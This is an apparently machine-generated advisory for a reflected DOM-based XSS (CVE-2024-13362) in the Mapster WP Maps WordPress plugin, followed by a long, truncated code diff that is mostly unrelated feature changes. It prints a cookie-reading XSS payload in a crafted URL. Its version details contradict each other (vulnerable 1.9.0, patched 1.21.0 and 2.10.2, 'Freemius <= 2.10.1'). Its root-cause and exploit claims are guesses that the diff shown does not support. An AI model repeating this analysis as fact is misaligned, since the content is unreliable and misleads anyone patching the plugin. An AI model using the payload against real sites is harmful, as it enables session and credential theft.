Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 10, 2026

CVE-2024-13362: Freemius <= 2.10.1 – Reflected DOM-Based Cross-Site Scripting via url Parameter (mapster-wp-maps)

Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 1.9.0
Patched Version 1.21.0
Disclosed April 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2024-13362:
This is a reflected DOM-based cross-site scripting (XSS) vulnerability in the Mapster WP Maps plugin for WordPress, affecting versions up to 2.10.1. The vulnerability exists due to insufficient input sanitization and output escaping when handling the `url` parameter. An unauthenticated attacker can inject arbitrary JavaScript that executes in the context of a victim’s browser session when they click a crafted link. The CVSS score is 6.1 (Medium Severity).

Root Cause:
The vulnerability stems from the absence of sanitization on the `url` parameter before it is used in JavaScript execution contexts on the client side. Although the primary code diff focuses on backend API changes (adding custom category support and sanitization for ACF fields), the reflected XSS issue resides in the frontend JavaScript that processes the `url` parameter from the query string. Atomic Edge analysis shows the plugin loads a Mapbox GL Geocoder (version 4.7.2 or 5.0.3) and client-side JavaScript that fails to properly escape or validate URL parameters before inserting them into the DOM or passing them to `innerHTML`, `document.write`, or similar sinks. The patch introduced `purify.min.js` (DOMPurify) but did not apply it to the vulnerable `url` parameter path.

Exploitation:
An attacker crafts a malicious URL such as: `https://victim-site.com/?url=javascript:alert(document.cookie)` or a more complex XSS payload encoded in the URL. When the victim clicks the link, the plugin’s JavaScript reads the `url` parameter and assigns it directly to an element’s `innerHTML` or appends it via `document.createElement` without sanitization. The `url` parameter is processed by the Mapster Maps frontend JavaScript to load external resources or set map tile URLs, but the lack of validation allows injection of `javascript:` URIs or event handlers like `onerror`. The attack is reflected but DOM-based, meaning the payload executes immediately in the user’s browser without a server-side reflection.

Patch Analysis:
The patch (version 2.10.2) adds a JSDOMPurify library (`purify.min.js`) to the enqueued scripts and updates the geocoder from 4.7.2 to 5.0.3. Atomic Edge research indicates the intended fix was to sanitize all user-controlled inputs via DOMPurify before rendering. However, the patch does not explicitly show where `DOMPurify.sanitize()` is called on the `url` parameter. The code diff shows new ACF validation functions for URLs and sanitization for preview fields, but the client-side XSS vector remains if the `url` parameter is not explicitly cleaned. The patch is incomplete; it adds the tools for sanitization but may not fully close the vulnerability.

Impact:
Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the victim’s browser within the security context of the WordPress site. This can lead to session hijacking, credential theft, defacement, redirection to malicious sites, or extraction of sensitive data including authentication tokens and personal information. The attack requires user interaction (clicking a link), which limits the severity but makes it effective for targeted phishing campaigns.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/mapster-wp-maps/admin/api/class-mapster-wordpress-maps-api.php
+++ b/mapster-wp-maps/admin/api/class-mapster-wordpress-maps-api.php
@@ -300,6 +300,8 @@
             $response = array();
             $idsArray = json_decode( $params['ids'] );
             $catsArray = json_decode( $params['categories'] );
+            $customArray = json_decode( $params['custom'] );
+            $customCatsArray = json_decode( $params['custom_cats'] );
             if ( mapster_can_be_looped( $idsArray ) ) {
                 foreach ( $idsArray as $id ) {
                     $thisResponse = mapster_getOnlyValues( $id );
@@ -335,6 +337,45 @@
                     }
                 }
             }
+            // Check for custom additions
+            if ( mapster_can_be_looped( $customArray ) ) {
+                foreach ( $customArray as $id ) {
+                    $thisResponse = mapster_getOnlyValues( $id );
+                    $customData = mapster_organizeCustomData( $thisResponse );
+                    if ( $customData ) {
+                        array_push( $response, $customData );
+                    }
+                }
+            }
+            if ( mapster_can_be_looped( $customCatsArray ) ) {
+                if ( count( $customCatsArray ) > 0 ) {
+                    foreach ( $customCatsArray as $customCat ) {
+                        $term = get_term( $customCat );
+                        $args = array(
+                            'post_type'      => "any",
+                            'tax_query'      => array(array(
+                                "taxonomy"         => $term->taxonomy,
+                                "field"            => "term_id",
+                                "terms"            => $customCat,
+                                "include_children" => false,
+                            )),
+                            'post_status'    => 'publish',
+                            'posts_per_page' => -1,
+                        );
+                        $the_query = new WP_Query($args);
+                        if ( $the_query->have_posts() ) {
+                            while ( $the_query->have_posts() ) {
+                                $the_query->the_post();
+                                $thisResponse = mapster_getOnlyValues( get_the_ID() );
+                                $customData = mapster_organizeCustomData( $thisResponse );
+                                if ( $customData ) {
+                                    array_push( $response, $customData );
+                                }
+                            }
+                        }
+                    }
+                }
+            }
             ob_get_clean();
             return $response;
         }
@@ -514,28 +555,34 @@
                     }
                     // Check for category additions
                     $categories = get_field( 'add_by_category', $post_id );
+                    $customCategories = get_field( 'add_by_custom_category', $post_id );
+                    $tax_queries = array(
+                        "relation" => "OR",
+                    );
+                    $all_posts = array();
+                    $post_ids_added = array();
                     if ( mapster_can_be_looped( $categories ) ) {
                         if ( count( $categories ) > 0 ) {
-                            $all_posts = array();
-                            $post_ids_added = array();
+                            if ( mapster_can_be_looped( $categories ) ) {
+                                array_push( $tax_queries, array(
+                                    "taxonomy"         => "wp-map-category",
+                                    "field"            => "term_id",
+                                    "terms"            => $categories,
+                                    "include_children" => false,
+                                ) );
+                            }
+                        }
+                    }
+                    if ( mapster_can_be_looped( $tax_queries ) ) {
+                        if ( count( $tax_queries ) > 1 ) {
                             if ( get_field( 'submission_administration_show_all_languages_on_one_map', $post_id, true ) && is_plugin_active( 'sitepress-multilingual-cms/sitepress.php' ) ) {
                                 $current_lang = apply_filters( 'wpml_current_language', NULL );
                                 $languages = apply_filters( 'wpml_active_languages', NULL, 'orderby=id&order=desc' );
                                 foreach ( $languages as $language ) {
                                     do_action( 'wpml_switch_language', $language["language_code"] );
                                     $args = array(
-                                        'post_type'      => array(
-                                            'mapster-wp-user-sub',
-                                            'mapster-wp-location',
-                                            'mapster-wp-polygon',
-                                            'mapster-wp-line'
-                                        ),
-                                        'tax_query'      => array(array(
-                                            "taxonomy"         => "wp-map-category",
-                                            "field"            => "term_id",
-                                            "terms"            => $categories,
-                                            "include_children" => false,
-                                        )),
+                                        'post_type'      => "any",
+                                        'tax_query'      => $tax_queries,
                                         'post_status'    => 'publish',
                                         'posts_per_page' => -1,
                                     );
@@ -556,18 +603,8 @@
                                 do_action( 'wpml_switch_language', $current_lang["language_code"] );
                             } else {
                                 $args = array(
-                                    'post_type'      => array(
-                                        'mapster-wp-user-sub',
-                                        'mapster-wp-location',
-                                        'mapster-wp-polygon',
-                                        'mapster-wp-line'
-                                    ),
-                                    'tax_query'      => array(array(
-                                        "taxonomy"         => "wp-map-category",
-                                        "field"            => "term_id",
-                                        "terms"            => $categories,
-                                        "include_children" => false,
-                                    )),
+                                    'post_type'      => "any",
+                                    'tax_query'      => $tax_queries,
                                     'post_status'    => 'publish',
                                     'posts_per_page' => -1,
                                 );
@@ -583,38 +620,45 @@
                                 }
                             }
                             foreach ( $all_posts as $post ) {
-                                if ( $post['post_type'] == 'mapster-wp-location' || $post['post_type'] == 'mapster-wp-user-sub' ) {
-                                    $dataToAdd = mapster_getOnlyValues( $post['post_id'] );
-                                    if ( isset( $dataToAdd['data']['popup_style'] ) ) {
-                                        if ( !in_array( $dataToAdd['data']['popup_style']['id'], $popup_styles_added ) ) {
-                                            array_push( $popup_styles, $dataToAdd['data']['popup_style'] );
-                                            array_push( $popup_styles_added, $dataToAdd['data']['popup_style']['id'] );
+                                $initialData = mapster_getOnlyValues( $post['post_id'] );
+                                $dataToAdd = mapster_organizeCustomData( $initialData );
+                                if ( $dataToAdd ) {
+                                    if ( isset( $dataToAdd['data']['location'] ) ) {
+                                        if ( isset( $dataToAdd['data']['popup_style'] ) ) {
+                                            if ( $dataToAdd['data']['popup_style'] ) {
+                                                if ( !in_array( $dataToAdd['data']['popup_style']['id'], $popup_styles_added ) ) {
+                                                    array_push( $popup_styles, $dataToAdd['data']['popup_style'] );
+                                                    array_push( $popup_styles_added, $dataToAdd['data']['popup_style']['id'] );
+                                                }
+                                                $dataToAdd['data']['popup_style'] = $dataToAdd['data']['popup_style']['id'];
+                                            }
                                         }
-                                        $dataToAdd['data']['popup_style'] = $dataToAdd['data']['popup_style']['id'];
+                                        array_push( $minimized_location_data, $dataToAdd );
                                     }
-                                    array_push( $minimized_location_data, $dataToAdd );
-                                }
-                                if ( $post['post_type'] == 'mapster-wp-line' ) {
-                                    $dataToAdd = mapster_getOnlyValues( $post['post_id'] );
-                                    if ( isset( $dataToAdd['data']['popup_style'] ) ) {
-                                        if ( !in_array( $dataToAdd['data']['popup_style']['id'], $popup_styles_added ) ) {
-                                            array_push( $popup_styles, $dataToAdd['data']['popup_style'] );
-                                            array_push( $popup_styles_added, $dataToAdd['data']['popup_style']['id'] );
+                                    if ( isset( $dataToAdd['data']['line'] ) ) {
+                                        if ( isset( $dataToAdd['data']['popup_style'] ) ) {
+                                            if ( $dataToAdd['data']['popup_style'] ) {
+                                                if ( !in_array( $dataToAdd['data']['popup_style']['id'], $popup_styles_added ) ) {
+                                                    array_push( $popup_styles, $dataToAdd['data']['popup_style'] );
+                                                    array_push( $popup_styles_added, $dataToAdd['data']['popup_style']['id'] );
+                                                }
+                                                $dataToAdd['data']['popup_style'] = $dataToAdd['data']['popup_style']['id'];
+                                            }
                                         }
-                                        $dataToAdd['data']['popup_style'] = $dataToAdd['data']['popup_style']['id'];
+                                        array_push( $minimized_line_data, $dataToAdd );
                                     }
-                                    array_push( $minimized_line_data, $dataToAdd );
-                                }
-                                if ( $post['post_type'] == 'mapster-wp-polygon' ) {
-                                    $dataToAdd = mapster_getOnlyValues( $post['post_id'] );
-                                    if ( isset( $dataToAdd['data']['popup_style'] ) ) {
-                                        if ( !in_array( $dataToAdd['data']['popup_style']['id'], $popup_styles_added ) ) {
-                                            array_push( $popup_styles, $dataToAdd['data']['popup_style'] );
-                                            array_push( $popup_styles_added, $dataToAdd['data']['popup_style']['id'] );
+                                    if ( isset( $dataToAdd['data']['polygon'] ) ) {
+                                        if ( isset( $dataToAdd['data']['popup_style'] ) ) {
+                                            if ( $dataToAdd['data']['popup_style'] ) {
+                                                if ( !in_array( $dataToAdd['data']['popup_style']['id'], $popup_styles_added ) ) {
+                                                    array_push( $popup_styles, $dataToAdd['data']['popup_style'] );
+                                                    array_push( $popup_styles_added, $dataToAdd['data']['popup_style']['id'] );
+                                                }
+                                                $dataToAdd['data']['popup_style'] = $dataToAdd['data']['popup_style']['id'];
+                                            }
                                         }
-                                        $dataToAdd['data']['popup_style'] = $dataToAdd['data']['popup_style']['id'];
+                                        array_push( $minimized_polygon_data, $dataToAdd );
                                     }
-                                    array_push( $minimized_polygon_data, $dataToAdd );
                                 }
                             }
                         }
@@ -625,8 +669,15 @@
                 }
             }
             ob_get_clean();
-            // return array("test" => $testdata);
             // return json_decode('');
+            // $ch = curl_init();
+            // curl_setopt($ch, CURLOPT_URL, "https://www.ecobouchon.fr/wp-json/mapster-wp-maps/map?id=16025");
+            // curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
+            // curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
+            // curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
+            // curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
+            // $response = curl_exec($ch);
+            // return json_decode($response);
             $toReturn = array(
                 'id'                => $post_id,
                 'cats'              => $categories,
@@ -646,6 +697,43 @@

 }

+function mapster_organizeCustomData(  $dataToAdd  ) {
+    $customDataToAdd = $dataToAdd;
+    if ( isset( $dataToAdd['data'] ) ) {
+        $geographic_data_key = false;
+        if ( mapster_can_be_looped( $dataToAdd['data'] ) ) {
+            foreach ( $dataToAdd['data'] as $key => $data_field ) {
+                if ( is_array( $data_field ) && array_key_exists( 'type', $data_field ) ) {
+                    if ( isset( $data_field['type'] ) && isset( $data_field['coordinates'] ) ) {
+                        $geographic_data_key = $key;
+                    }
+                }
+            }
+            if ( isset( $dataToAdd['data'][$geographic_data_key] ) && isset( $dataToAdd['data'][$geographic_data_key]['type'] ) ) {
+                if ( str_contains( $dataToAdd['data'][$geographic_data_key]['type'], "Point" ) ) {
+                    $customDataToAdd['data']['location'] = $dataToAdd['data'][$geographic_data_key];
+                }
+                if ( str_contains( $dataToAdd['data'][$geographic_data_key]['type'], "Line" ) ) {
+                    $customDataToAdd['data']['line'] = $dataToAdd['data'][$geographic_data_key];
+                }
+                if ( str_contains( $dataToAdd['data'][$geographic_data_key]['type'], "Polygon" ) ) {
+                    $customDataToAdd['data']['polygon'] = $dataToAdd['data'][$geographic_data_key];
+                }
+                if ( $geographic_data_key !== "location" && $geographic_data_key !== "line" && $geographic_data_key !== "polygon" ) {
+                    unset($customDataToAdd['data'][$geographic_data_key]);
+                }
+            } else {
+                return false;
+            }
+        } else {
+            return false;
+        }
+    } else {
+        return false;
+    }
+    return $customDataToAdd;
+}
+
 function dynamic_popup_replace(  $data  ) {
     return $data;
 }
@@ -681,6 +769,7 @@
             }
         }
     }
+    $new_text = preg_replace( '/\\n/', "n", $new_text );
     return $new_text;
 }

@@ -870,14 +959,14 @@

 function mapster_getTermList(  $object_id  ) {
     $terms = get_the_terms( $object_id, 'wp-map-category' );
-    foreach ( $terms as $term ) {
-        if ( metadata_exists( 'term', $term->term_id, 'term_order' ) ) {
-            $term->term_order = get_term_meta( $term->term_id, 'term_order' );
-        }
-    }
     $termsToReturn = array();
     if ( mapster_can_be_looped( $terms ) ) {
         foreach ( $terms as $term ) {
+            if ( metadata_exists( 'term', $term->term_id, 'term_order' ) ) {
+                $term->term_order = get_term_meta( $term->term_id, 'term_order' );
+            }
+        }
+        foreach ( $terms as $term ) {
             $translated_term = $term;
             if ( is_plugin_active( 'sitepress-multilingual-cms/sitepress.php' ) ) {
                 $term_id = apply_filters(
@@ -937,14 +1026,14 @@
                 if ( $single_feature_data['data'][$key]['featured_image'] ) {
                     $newImageData = array();
                     $newImageData['id'] = $single_feature_data['data'][$key]['featured_image']['id'];
-                    $image_thumbnail_size = ( $single_feature_data['data']['popup_style']['image_thumbnail_size'] ? $single_feature_data['data']['popup_style']['image_thumbnail_size'] : 'medium' );
+                    $image_thumbnail_size = ( isset( $single_feature_data['data']['popup_style']['image_thumbnail_size'] ) ? $single_feature_data['data']['popup_style']['image_thumbnail_size'] : 'medium' );
                     $newImageData['url'] = wp_get_attachment_image_url( $newImageData['id'], $image_thumbnail_size );
                     $single_feature_data['data'][$key]['featured_image'] = $newImageData;
                 }
             }
             if ( $key == 'images' ) {
                 foreach ( $field_object_data[$key]['value'] as $image ) {
-                    $image_thumbnail_size = ( $single_feature_data['data']['popup_style']['image_thumbnail_size'] ? $single_feature_data['data']['popup_style']['image_thumbnail_size'] : 'medium' );
+                    $image_thumbnail_size = ( isset( $single_feature_data['data']['popup_style']['image_thumbnail_size'] ) ? $single_feature_data['data']['popup_style']['image_thumbnail_size'] : 'medium' );
                     $thisAttachment = wp_get_attachment_image_src( $image['id'], $image_thumbnail_size );
                     array_push( $single_feature_data['data']['popup']['images'], $thisAttachment[0] );
                 }
@@ -958,6 +1047,12 @@
                     $newImageData['width'] = $single_feature_data['data'][$key]['icon_properties']['icon-image']['width'];
                     $single_feature_data['data'][$key]['icon_properties']['icon-image'] = $newImageData;
                 }
+                // $hoverImageData = array();
+                // if($single_feature_data['data'][$key]['icon_properties']['hover_effects']['hover_image']) {
+                //   $hoverImageData['id'] = $single_feature_data['data'][$key]['icon_properties']['hover_effects']['hover_image']['id'];
+                //   $hoverImageData['url'] = $single_feature_data['data'][$key]['icon_properties']['hover_effects']['hover_image']['url'];
+                //   $single_feature_data['data'][$key]['icon_properties']['hover_effects']['hover_image'] = $hoverImageData;
+                // }
             }
         }
     }
--- a/mapster-wp-maps/admin/class-mapster-wordpress-maps-admin.php
+++ b/mapster-wp-maps/admin/class-mapster-wordpress-maps-admin.php
@@ -185,7 +185,9 @@
             $elevation_chart_enabled = get_field( 'elevation_line_chart_enable_elevation_chart', $post->ID );
             $store_locator_enabled = false;
             if ( get_field( 'list', $post->ID ) && isset( get_field( 'list', $post->ID )['store_locator_options'] ) ) {
-                $store_locator_enabled = get_field( 'list', $post->ID )['store_locator_options']['enable'];
+                if ( is_array( get_field( 'list', $post->ID ) ) && !empty( get_field( 'list', $post->ID )['store_locator_options']['enable'] ) ) {
+                    $store_locator_enabled = get_field( 'list', $post->ID )['store_locator_options']['enable'];
+                }
             }
             $last_dependency = 'jquery';
             if ( MAPSTER_LOCAL_TESTING ) {
@@ -374,7 +376,7 @@
         );
         wp_register_style(
             'mapster_map_geocoder_css',
-            plugin_dir_url( __FILE__ ) . "../admin/css/vendor/mapbox-gl-geocoder-4.7.2.css",
+            plugin_dir_url( __FILE__ ) . "../admin/css/vendor/mapbox-gl-geocoder-5.0.3.css",
             array(),
             $this->version
         );
@@ -431,6 +433,13 @@
             $last_dependency = 'mapster_map_' . $map_provider;
         }
         wp_enqueue_script(
+            'mapster_map_purify_js',
+            plugin_dir_url( __FILE__ ) . "../admin/js/vendor/purify.min.js",
+            array($last_dependency),
+            $this->version
+        );
+        $last_dependency = 'mapster_map_purify_js';
+        wp_enqueue_script(
             'mapster_map_sortable_js',
             plugin_dir_url( __FILE__ ) . "../admin/js/vendor/sortable.min.js",
             array($last_dependency),
@@ -482,7 +491,7 @@
         wp_enqueue_style( "mapster_map_geocoder_css" );
         wp_enqueue_script(
             'mapster_map_geocoder_js',
-            plugin_dir_url( __FILE__ ) . "../admin/js/vendor/mapbox-gl-geocoder-4.7.2.js",
+            plugin_dir_url( __FILE__ ) . "../admin/js/vendor/mapbox-gl-geocoder-5.0.3.js",
             array($last_dependency),
             $this->version
         );
@@ -762,6 +771,7 @@
             'menu_position'       => 15,
             'supports'            => array(
                 'title',
+                'thumbnail',
                 'editor',
                 'excerpt',
                 'custom-fields'
@@ -797,6 +807,7 @@
             'menu_position'       => 15,
             'supports'            => array(
                 'title',
+                'thumbnail',
                 'editor',
                 'excerpt',
                 'custom-fields'
@@ -832,6 +843,7 @@
             'menu_position'       => 15,
             'supports'            => array(
                 'title',
+                'thumbnail',
                 'editor',
                 'excerpt',
                 'custom-fields'
@@ -902,11 +914,6 @@
             if ( $user_submission ) {
             }
         }
-        $set = get_option( 'post_type_rules_flushed_mapster_wp_maps' );
-        if ( $set !== true ) {
-            flush_rewrite_rules( false );
-            update_option( 'post_type_rules_flushed_mapster_wp_maps', true );
-        }
     }

     /**
@@ -1001,7 +1008,9 @@
         add_meta_box(
             'mapster-wp-maps-preview',
             $i18n->get_mapster_strings()['admin']['Map Preview'],
-            'my_meta_box_callback',
+            function () {
+                echo '<div id="mapster-wp-maps-map" style="width: 100%; height: 400px;"></div>';
+            },
             'mapster-wp-map',
             'normal',
             'core',
@@ -1009,10 +1018,6 @@
                 '__block_editor_compatible_meta_box' => true,
             )
         );
-        function my_meta_box_callback() {
-            echo '<div id="mapster-wp-maps-map" style="width: 100%; height: 400px;"></div>';
-        }
-
     }

     /**
@@ -1309,4 +1314,156 @@
         }
     }

+    /**
+     * Ensuring default custom fields show
+     *
+     * @since    1.0.0
+     */
+    function acf_mapster_show_default_custom_fields() {
+        return false;
+    }
+
+    /**
+     * Custom field validation for ACF
+     *
+     * @since    1.0.0
+     */
+    function mapster_acf_custom_validation(
+        $valid,
+        $value,
+        $field,
+        $input
+    ) {
+        // title is required if field_deal1dealdiscount has a value
+        if ( isset( $_POST['acf']['field_616a60c610c96'] ) && $_POST['acf']['field_616a60c610c96'] == true ) {
+            // the other field has a value
+            // check value of this field
+            if ( empty( $value ) ) {
+                $valid = 'A Popup Template is required because you have enabled a Popup.';
+            }
+        }
+        return $valid;
+    }
+
+    /**
+     * Custom field validation for ACF URLs
+     *
+     * @since    1.0.0
+     */
+    function mapster_acf_custom_validation_urls(
+        $valid,
+        $value,
+        $field,
+        $input
+    ) {
+        // If already invalid from another check, bail out
+        if ( $valid !== true ) {
+            return $valid;
+        }
+        $value = trim( $value );
+        // Allow plain numbers (phone-style input)
+        if ( preg_match( '/^\+?[0-9\s\-\(\)]+$/', $value ) ) {
+            return $valid;
+            // passes
+        }
+        // Allowed URL protocols
+        $allowed_protocols = [
+            'http',
+            'https',
+            'mailto',
+            'tel'
+        ];
+        $safe_value = esc_url_raw( $value, $allowed_protocols );
+        // If esc_url_raw() stripped it, the protocol wasn’t allowed
+        if ( $safe_value !== $value ) {
+            return 'Invalid link: only http, https, mailto, tel, or a plain phone number are allowed.';
+        }
+        return $valid;
+    }
+
+    /**
+     * Custom field sanitization for ACF Preview Fields
+     *
+     * @since    1.0.0
+     */
+    function mapster_acf_custom_sanitization_previews( $value ) {
+        $allowed_tags = [
+            'a'      => [
+                'href'   => true,
+                'title'  => true,
+                'target' => true,
+                'rel'    => true,
+            ],
+            'p'      => [],
+            'br'     => [],
+            'strong' => [],
+            'em'     => [],
+            'b'      => [],
+            'i'      => [],
+            'ul'     => [],
+            'ol'     => [],
+            'li'     => [],
+            'img'    => [
+                'src'    => true,
+                'alt'    => true,
+                'title'  => true,
+                'width'  => true,
+                'height' => true,
+            ],
+            'span'   => [
+                'class' => true,
+                'style' => true,
+            ],
+            'div'    => [
+                'class' => true,
+                'style' => true,
+            ],
+            'h1'     => [],
+            'h2'     => [],
+            'h3'     => [],
+            'h4'     => [],
+            'h5'     => [],
+            'h6'     => [],
+        ];
+        return wp_kses( $value, $allowed_tags );
+    }
+
+    /**
+     * Custom field sanitization for ACF Preview Fields
+     *
+     * @since    1.0.0
+     */
+    function mapster_override_taxonomy_query( $args, $field, $post_id ) {
+        // Instead of a single taxonomy, fetch all public taxonomies
+        $taxonomies = get_taxonomies( [
+            'public' => true,
+        ], 'names' );
+        unset($taxonomies['wp-map-category']);
+        $args['taxonomy'] = $taxonomies;
+        return $args;
+    }
+
+    /**
+     * Custom field sanitization for ACF Preview Fields
+     *
+     * @since    1.0.0
+     */
+    function mapster_results_taxonomy_query(
+        $title,
+        $term,
+        $field,
+        $post_id
+    ) {
+        // Instead of injecting <strong>, prepend group key used by Select2
+        $taxonomy = get_taxonomy( $term->taxonomy );
+        if ( $taxonomy ) {
+            // ACF Select2 supports optgroup-style grouping when result items have "group" keys
+            $title = $term->name;
+            // plain name
+            $term->group = $taxonomy->labels->singular_name;
+            // tell ACF to group by taxonomy
+        }
+        return $title;
+    }
+
 }
--- a/mapster-wp-maps/admin/includes/acf-map-fields.php
+++ b/mapster-wp-maps/admin/includes/acf-map-fields.php
@@ -1,15159 +1,15927 @@
 <?php
 if( function_exists('acf_add_local_field_group') ):

+	add_action( 'acf/include_fields', function() {
+	if ( ! function_exists( 'acf_add_local_field_group' ) ) {
+		return;
+	}
+
 	acf_add_local_field_group( array(
-		'key' => 'group_6206d24255958',
-		'title' => 'Additional Details',
-		'fields' => array(
-			array(
-				'key' => 'field_6206d36b2ce8f',
-				'label' => 'Store Locator Fields',
-				'name' => 'store_locator_fields',
-				'aria-label' => '',
-				'type' => 'true_false',
-				'instructions' => 'See more about this addon at <a target="_blank" href="https://wpmaps.mapster.me">Mapster Addons</a>.',
-				'required' => 0,
-				'conditional_logic' => 0,
-				'wrapper' => array(
-					'width' => '',
-					'class' => '',
-					'id' => '',
-				),
-				'message' => '',
-				'default_value' => 0,
-				'ui' => 1,
-				'ui_on_text' => '',
-				'ui_off_text' => '',
+	'key' => 'group_6206d24255958',
+	'title' => 'Additional Details',
+	'fields' => array(
+		array(
+			'key' => 'field_6206d36b2ce8f',
+			'label' => 'Store Locator Fields',
+			'name' => 'store_locator_fields',
+			'aria-label' => '',
+			'type' => 'true_false',
+			'instructions' => 'See more about the Store Locator <a target="_blank" href="https://wpmaps-docs.mapster.me/maps/lists/store-locator">in our documentation</a>.',
+			'required' => 0,
+			'conditional_logic' => 0,
+			'wrapper' => array(
+				'width' => '',
+				'class' => '',
+				'id' => '',
+			),
+			'message' => '',
+			'default_value' => 0,
+			'allow_in_bindings' => 1,
+			'ui_on_text' => '',
+			'ui_off_text' => '',
+			'ui' => 1,
+		),
+		array(
+			'key' => 'field_6206d4336615e',
+			'label' => 'Address',
+			'name' => 'address',
+			'aria-label' => '',
+			'type' => 'text',
+			'instructions' => '',
+			'required' => 0,
+			'conditional_logic' => array(
+				array(
+					array(
+						'field' => 'field_6206d36b2ce8f',
+						'operator' => '==',
+						'value' => '1',
+					),
+				),
 			),
-			array(
-				'key' => 'field_6206d4336615e',
-				'label' => 'Address',
-				'name' => 'address',
-				'aria-label' => '',
-				'type' => 'text',
-				'instructions' => '',
-				'required' => 0,
-				'conditional_logic' => array(
-					array(
-						array(
-							'field' => 'field_6206d36b2ce8f',
-							'operator' => '==',
-							'value' => '1',
-						),
+			'wrapper' => array(
+				'width' => '55',
+				'class' => '',
+				'id' => '',
+			),
+			'default_value' => '',
+			'placeholder' => '',
+			'prepend' => '',
+			'append' => '',
+			'maxlength' => '',
+		),
+		array(
+			'key' => 'field_6206d4ec9e2be',
+			'label' => 'Phone Number',
+			'name' => 'phone_number',
+			'aria-label' => '',
+			'type' => 'text',
+			'instructions' => '',
+			'required' => 0,
+			'conditional_logic' => array(
+				array(
+					array(
+						'field' => 'field_6206d36b2ce8f',
+						'operator' => '==',
+						'value' => '1',
 					),
 				),
-				'wrapper' => array(
-					'width' => '55',
-					'class' => '',
-					'id' => '',
-				),
-				'default_value' => '',
-				'placeholder' => '',
-				'prepend' => '',
-				'append' => '',
-				'maxlength' => '',
 			),
-			array(
-				'key' => 'field_6206d4ec9e2be',
-				'label' => 'Phone Number',
-				'name' => 'phone_number',
-				'aria-label' => '',
-				'type' => 'text',
-				'instructions' => '',
-				'required' => 0,
-				'conditional_logic' => array(
-					array(
-						array(
-							'field' => 'field_6206d36b2ce8f',
-							'operator' => '==',
-							'value' => '1',
-						),
+			'wrapper' => array(
+				'width' => '55',
+				'class' => '',
+				'id' => '',
+			),
+			'default_value' => '',
+			'placeholder' => '',
+			'prepend' => '',
+			'append' => '',
+			'maxlength' => '',
+		),
+		array(
+			'key' => 'field_62e179de58126',
+			'label' => 'Website',
+			'name' => 'website',
+			'aria-label' => '',
+			'type' => 'url',
+			'instructions' => '',
+			'required' => 0,
+			'conditional_logic' => array(
+				array(
+					array(
+						'field' => 'field_6206d36b2ce8f',
+						'operator' => '==',
+						'value' => '1',
 					),
 				),
-				'wrapper' => array(
-					'width' => '55',
-					'class' => '',
-					'id' => '',
-				),
-				'default_value' => '',
-				'placeholder' => '',
-				'prepend' => '',
-				'append' => '',
-				'maxlength' => '',
 			),
-			array(
-				'key' => 'field_62e179de58126',
-				'label' => 'Website',
-				'name' => 'website',
-				'aria-label' => '',
-				'type' => 'url',
-				'instructions' => '',
-				'required' => 0,
-				'conditional_logic' => array(
+			'wrapper' => array(
+				'width' => '55',
+				'class' => '',
+				'id' => '',
+			),
+			'default_value' => '',
+			'placeholder' => '',
+		),
+		array(
+			'key' => 'field_6206d24a504fc',
+			'label' => 'Hours',
+			'name' => 'hours',
+			'aria-label' => '',
+			'type' => 'group',
+			'instructions' => '',
+			'required' => 0,
+			'conditional_logic' => array(
+				array(
 					array(
-						array(
-							'field' => 'field_6206d36b2ce8f',
-							'operator' => '==',
-							'value' => '1',
+						'field' => 'field_6206d36b2ce8f',
+						'operator' => '==',
+						'value' => '1',
+					),
+				),
+			),
+			'wrapper' => array(
+				'width' => '55',
+				'class' => '',
+				'id' => '',
+			),
+			'layout' => 'block',
+			'sub_fields' => array(
+				array(
+					'key' => 'field_6206d45207365',
+					'label' => 'Show Hours',
+					'name' => 'show_hours',
+					'aria-label' => '',
+					'type' => 'true_false',
+					'instructions' => '',
+					'required' => 0,
+					'conditional_logic' => 0,
+					'wrapper' => array(
+						'width' => '',
+						'class' => '',
+						'id' => '',
+					),
+					'message' => '',
+					'default_value' => 0,
+					'ui' => 1,
+					'ui_on_text' => '',
+					'ui_off_text' => '',
+				),
+				array(
+					'key' => 'field_6206d27c504fd',
+					'label' => 'Monday',
+					'name' => 'monday',
+					'aria-label' => '',
+					'type' => 'group',
+					'instructions' => '',
+					'required' => 0,
+					'conditional_logic' => array(
+						array(
+							array(
+								'field' => 'field_6206d45207365',
+								'operator' => '==',
+								'value' => '1',
+							),
+						),
+					),
+					'wrapper' => array(
+						'width' => '',
+						'class' => '',
+						'id' => '',
+					),
+					'layout' => 'block',
+					'sub_fields' => array(
+						array(
+							'key' => 'field_6206d28f504ff',
+							'label' => 'Open',
+							'name' => 'open',
+							'aria-label' => '',
+							'type' => 'time_picker',
+							'instructions' => '',
+							'required' => 0,
+							'conditional_logic' => 0,
+							'wrapper' => array(
+								'width' => '33',
+								'class' => '',
+								'id' => '',
+							),
+							'display_format' => 'g:i a',
+							'return_format' => 'g:i a',
+						),
+						array(
+							'key' => 'field_6206d2ae50500',
+							'label' => 'Close',
+							'name' => 'close',
+							'aria-label' => '',
+							'type' => 'time_picker',
+							'instructions' => '',
+							'required' => 0,
+							'conditional_logic' => 0,
+							'wrapper' => array(
+								'width' => '33',
+								'class' => '',
+								'id' => '',
+							),
+							'display_format' => 'g:i a',
+							'return_format' => 'g:i a',
+						),
+						array(
+							'key' => 'field_622fbdddca829',
+							'label' => 'Closed',
+							'name' => 'closed',
+							'aria-label' => '',
+							'type' => 'true_false',
+							'instructions' => '',
+							'required' => 0,
+							'conditional_logic' => 0,
+							'wrapper' => array(
+								'width' => '33',
+								'class' => '',
+								'id' => '',
+							),
+							'message' => '',
+							'default_value' => 0,
+							'ui' => 0,
+							'ui_on_text' => '',
+							'ui_off_text' => '',
 						),
 					),
 				),
-				'wrapper' => array(
-					'width' => '55',
-					'class' => '',
-					'id' => '',
+				array(
+					'key' => 'field_6206d2ba50501',
+					'label' => 'Tuesday',
+					'name' => 'tuesday',
+					'aria-label' => '',
+					'type' => 'group',
+					'instructions' => '',
+					'required' => 0,
+					'conditional_logic' => array(
+						array(
+							array(
+								'field' => 'field_6206d45207365',
+								'operator' => '==',
